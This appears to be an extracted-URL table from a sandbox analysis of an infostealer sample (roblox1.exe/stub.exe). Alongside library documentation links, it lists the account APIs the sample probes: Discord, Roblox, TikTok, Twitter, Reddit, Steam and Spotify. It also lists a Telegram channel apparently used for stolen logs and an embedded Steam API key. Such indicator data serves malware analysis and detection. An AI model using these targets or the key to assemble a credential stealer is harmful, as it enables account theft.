https://github.com/sponsors/hynek	stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1328)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oauth.reddit.com/api/v1/me	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ibm.com/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://twitter.com	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://gql.twitch.tv/gqlT	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://twitter.com/home	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/136	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.dhimyotis.com/certignarootca.crl	stub.exe, 00000003.00000003.1936161103.00000213BEEF2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://ocsp.accv.es	stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936075447.00000213BEFA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://speleotrove.com/decimal/decarith.html	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945691017.00000213BE610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1329)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap	stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://json.org	stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940139383.00000213BE111000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944291079.00000213BE1F4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940263810.00000213BE1F3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551665105.00000213BE184000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938249531.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1941279881.00000213BE162000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1917018094.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1330)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://open.spotify.com/user/u	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/v8/users/	stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.attrs.org/en/latest/names.html)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.twitch.tv/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl2	stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://wwww.certigna.fr/autorites/	stub.exe, 00000003.00000003.1936161103.00000213BEEF2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936493443.00000213BEEF3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://open.spotify.com/user/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://filepreviews.io/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	stub.exe, 00000003.00000002.1946318506.00000213BE9A0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/why.html#data-classes)	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/TaroCloudFreelogs	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl	stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wwwsearch.sf.net/):	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936075447.00000213BEFA1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/legislacion_c.htm	stub.exe, 00000003.00000003.1939279507.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://cffi.readthedocs.io/en/latest/using.html#callbacks	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, stub.exe, 00000003.00000002.1962486464.00007FFBAAF8B000.00000002.00000001.01000000.0000000F.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl0	stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://thumbnails.roblox.com/v1/users/avatar?userIds=	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/:1U	stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://www.variomedia.de/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue37179	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cert.fnmt.es/dpcs/	stub.exe, 00000003.00000003.1936295098.00000213BEFDF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939349578.00000213BEFEB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938008443.00000213BEFEB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936968912.00000213BEFE4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://www.accv.es00	stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939279507.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944387821.00000213BE210000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/pyca/cryptography/issues	stub.exe, 00000003.00000002.1949463983.00000213BF514000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.attrs.org/	stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1938065782.00000213BE603000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945647945.00000213BE608000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl	stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/download/releases/2.3/mro/.	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946318506.00000213BE9A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/asyncio-eventloop.html	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938094967.00000213BE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945319876.00000213BE561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.gg/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938094967.00000213BE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945319876.00000213BE561000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE59C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0749/)-implementing	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.firmaprofesional.com/cps0	stub.exe, 00000003.00000002.1948524629.00000213BEF1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934896216.00000213BEF0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/TaroCloudFreelogs----------------------	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEC8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1943034035.00000213BDE98000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	false		high
